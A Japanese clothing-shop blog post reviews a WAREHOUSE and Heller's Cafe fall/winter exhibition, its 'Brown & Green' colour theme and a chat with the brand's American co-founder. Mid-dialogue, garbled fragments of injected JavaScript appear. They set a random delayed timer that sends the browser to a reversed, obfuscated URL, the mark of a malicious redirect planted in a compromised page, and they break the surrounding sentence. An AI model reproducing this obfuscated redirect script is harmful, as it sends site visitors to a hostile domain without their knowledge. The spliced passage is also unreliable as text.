Matthews' Issue

アメカジオンラインショップのマニアックブログ。アメリカンカジュアルは面白い!

俺的Heller's Cafe 考察 2011年版

      2016/03/30

もう秋です。 そろそろネルシャツやウールのセーターなんかも準備しないと…

あ、展示会のお話です。 昨日WAREHOUSE& Heller's Cafeの展示会におじゃましてきました。あっつい夏もまだ来ていないのにfall&winterですからね、メーカーさんは大変です。

Heller's Cafeはシアトルのビンテージウエアディーラーのラリー・マッコイン氏とウエアハウスのコラボレーションブランドです。詳しくは昨年版のこちらをお読みください。

去年のちょうど今頃はまだショップオープンのための準備の準備中という状況でしたので、スケジュールが合わずにサンプルは拝見していませんでした。オーダーもしていませんでしたから、当然9月オープンのウチには商品もナシ。

黒い服をあまり好まない僕としては、テーマが “Black&White” ということもあってか、「ま、シーズン始まって現物見てからでもいいか」 というところでした。先日ブログで着用していた黒白ストライプのプルオーバーシャツは昨年秋冬ものですが、完全に個人的購入です(後出しじゃんけんで恐縮ですが、あのシャツ最高です)。

このシャツです

このシャツです

今回もいらっしゃいましたよ、ミスター。会場の表にいたWHスタッフと言葉を交わしていたら、一段落ついていたのかわざわざ出迎えてくれましたよ。

Hi,how are you ?
「おぅ いぇす ふぁいん。あい ろすと ざ うぇい とぅ ひあ 」
Oh,me,dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}too. yesterday

今回は展示会場が定宿でなかったが故の迷子。でも合わせてくれるなんてさすがアメリカン。しかもその位の英語なら中2レベルでも分かるぜ。いい人だ。

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今シーズンのテーマは “Brown & Green”。
「ヘラーズ・カフェはアメリカの歴史を語るにもっともふさわしい色の組み合わせがテーマ。ブラウンは大地を連想し、グリーンは森林を連想させる。」 (メーカー資料より拝借 )

好きな人も多いはずです。僭越ながら代表して私めが。えー、コホン。 「待ってましたよ、Mr.Brown! 」

ビジュアルについてはメーカーにお任せですので今回は文字のみですが、ラインナップとしてはデニム、ネルシャツ、ロンT、ニット、アウター…

え? いつもと変わらないじゃないかって? すみません、文字の限界です (早くも白旗)。ヘラーズ・カフェのアイテムは例えばプルオーバーのような古めかしいディテール、時に飾り意匠も兼ねる細かいステッチワークなどが注目されますが、今回特にすごいと思ったのはそのカラーリングです。

生まれや育ちが違えば考え方や感性も違うのが当たり前ですよね。肌の色が違えば似合う色も違いますし、瞳の色が違えば見えている色彩だって違うのでは? オリジナルヴィンテージを作ったメーカーのオーナーは幼い頃をヨーロッパで過ごしたユダヤ人かも知れません。時代が進んで使えなくなった薬品や染料もあるでしょう。

ウエアハウスがヘラーズ・カフェでやろうとしているのは、20世紀初頭のアメリカで作られていた衣料品の復刻です。1920年代のアメリカと2011年の日本で 「いい色だ」 と言われるものは当然違うでしょうし、今はもっといい洋服の素材がたくさんあります。しかしトレンドでないものを作り出そうとするとそれはもう並大抵の努力ではないのです。あまりクローズアップされませんが、カラーリングとテキスタイルを既存に頼らずゼロから作り出すのはとってもとっても大変な作業なのです。

ウエアハウスが秋冬シーズン毎に作っているネルシャツ、あのカラーリングにも片鱗は窺えます。当たり前のようにリリースされているようについ思ってしまいがちですが、ヨソで探したってあんなカラーリングは見つかりませんよ。 ラリー氏(結局会場内でも捉まりました)も 「fine color, good color」、「excellent」とサムズアップ。ご満悦の様子でした。そりゃあそうでしょう、ここまでリプロダクションできるメーカーなんて世界中探してもそうそう無いと思いますもん。

ブラウンとグリーンがキーカラーとなってつくられた来季のラインナップ(もちろんブルーデニムもありますよ)。夏になればまずメーカーHPや雑誌などでその色合いを見ていただくことが出来ると思います。とりあえずこの先数日は、どれをオーダーするか悩むことになりそうです…。

あえて足りないとすればセクシーさでしょうか。具体的に言葉にはしづらいのですが、RRLのあの色気は何なんだろうと思います。色気≒武骨さと捉えればHCも醸し出していないことないですが、どうせだったら 「ステキな服ね 」 って言ってもらいたいですからね(笑)。

まぁ、そのエッセンスは着る人 (私含む) が頑張って添えることにしましょう! はい、背筋伸ばしてアゴを引く! 口で息しない!

p.s. WAREHOUSEブランドの方は変わらずの安定感でした!

 - WAREHOUSE